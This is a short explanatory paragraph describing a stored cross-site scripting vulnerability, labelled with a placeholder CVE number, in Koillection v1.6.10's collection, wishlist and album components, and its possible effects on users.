How the CVE Works:
The CVE-2025-XXXX vulnerability in Koillection v1.6.10 arises due to insufficient input sanitization in the collection, Wishlist, and album components. An attacker can inject malicious JavaScript payloads through user-controlled input fields, such as form submissions or URL parameters. When other users view the compromised content, the script executes in their browser, leading to session hijacking, data theft, or privilege escalation. The stored XSS attack persists due to improper output encoding when rendering user-supplied data.
